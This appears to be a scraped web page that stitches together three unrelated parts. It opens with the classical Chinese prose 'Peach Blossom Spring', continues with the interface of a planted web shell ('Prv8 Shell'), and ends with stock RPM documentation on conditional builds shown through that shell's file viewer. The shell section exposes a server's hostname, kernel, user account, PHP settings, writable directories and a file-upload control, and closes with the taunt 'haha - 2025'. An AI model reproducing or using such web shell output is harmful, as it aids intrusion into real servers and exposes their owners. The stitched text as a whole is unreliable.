晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/rpm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/rpm/conditionalbuilds
/*! \page conditionalbuilds Passing conditional parameters into a rpm build

Source code is often built with optional features enabled or disabled.
When source code is packaged using rpm, the various features can be
chosen, added to a spec file, and a package will be produced with
binaries compiled with that feature set. This mechanism works fine
for packages with small feature sets, but does not work so well
for large, complicated, packages like the Linux kernel and/or
the Pine mailer which have a large number of features, as a given
feature set may not "work" for everyone.

RPM now has a supported mechanism to pass information from the rpm
command line to enable/disable features during a build. Two options have
been added to pass feature names from the rpm command line:
\verbatim
    --with <feature>	Enable <feature>
    --without <feature>	Disable <feature>
\endverbatim
The new options are implemented using popt to add aliases to the existing rpm
options --define to specify macros from the command line. The magic necessary
to add the new options is (from the file /usr/lib/rpm/rpmpopt*)
\verbatim
    rpmb	alias --with    --define "_with_!#:+       --with-!#:+"
    rpmb	alias --without --define "_without_!#:+    --without-!#:+"
\endverbatim
(Note: The obscure "!#:+" popt token above says "substitute the next command
line argument found here, and, additionally, mark the argument as used.")

For example, when rpm is invoked as
\verbatim
    rpm ... --with ldap ...
\endverbatim
then the popt aliases will cause the options to be rewritten as
\verbatim
    rpm ... --define "_with_ldap	--with-ldap" ...
\endverbatim
which causes a "%_with_ldap" macro to be defined with value "--with-ldap"
during a build.

The macro defined on the rpm command line can be used to conditionalize
portions of the spec file for the package. For example, let's say you
are trying to build the pine package using "--with ldap" to enable the
LDAP support in the pine mailer (i.e. configuring with "--with-ldap").
So the spec file should be written
\verbatim
    ...
    ./configure \
	%{?_with_ldap}   \
    ...
\endverbatim
so that, if "--with ldap" was used as a build option, then configure
will be invoked (after macro expansion) as
\verbatim
	./configure --with-ldap ...
\endverbatim
(Note: The obscure "%{?_with_ldap: ...}" rpm macro syntax above says "if the
macro "_with_ldap" exists, then expand "...", else ignore.")

The spec file should include a default value for the "_with_ldap" macro,
and should support "--without ldap" as well. Here's a more complete example
for pine:
\verbatim
    # Default values are --without-ldap --with-ssl.
    #
    # Read: If neither macro exists, then add the default definition.
    %{!?_with_ldap: %{!?_without_ldap: %define _without_ldap --without-ldap}}
    %{!?_with_ssl: %{!?_without_ssl: %define _with_ssl --with-ssl}}
    ...

    # You might want to make sure that one and only one of required and
    # mutually exclusive options exists.
    #
    # Read: It's an error if both or neither required options exist.
    %{?_with_ssl: %{?_without_ssl: %{error: both _with_ssl and _without_ssl}}}
    %{!?_with_ssl: %{!?_without_ssl: %{error: neither _with_ssl nor _without_ssl}}}

    # Add build dependencies for ssl and ldap features if enabled.
    # Note: Tag tokens must start at beginning-of-line.
    #
    # Read: If feature is enabled, then add the build dependency.
    %{?_with_ssl:BuildRequires: openssl-devel}
    %{?_with_ldap:BuildRequires: openldap-devel}
    ...

    # Configure with desired features.
    #
    # Read: Add any defined feature values to the configure invocation.
    %configure \
	%{?_with_ssl}		\
	%{?_without_ssl}	\
	%{?_with_ldap}		\
	%{?_without_ldap}
    ...

    # Conditional tests for desired features.
    #
    # Read: true if _with_ssl is defined, false if not defined.
    %if %{?_with_ssl:1}%{!?_with_ssl:0}
    ...
    %endif

\endverbatim

See also the %bcond_with and %bcond_without helper macros and their
documentation in /usr/lib/rpm/macros.
*/

haha - 2025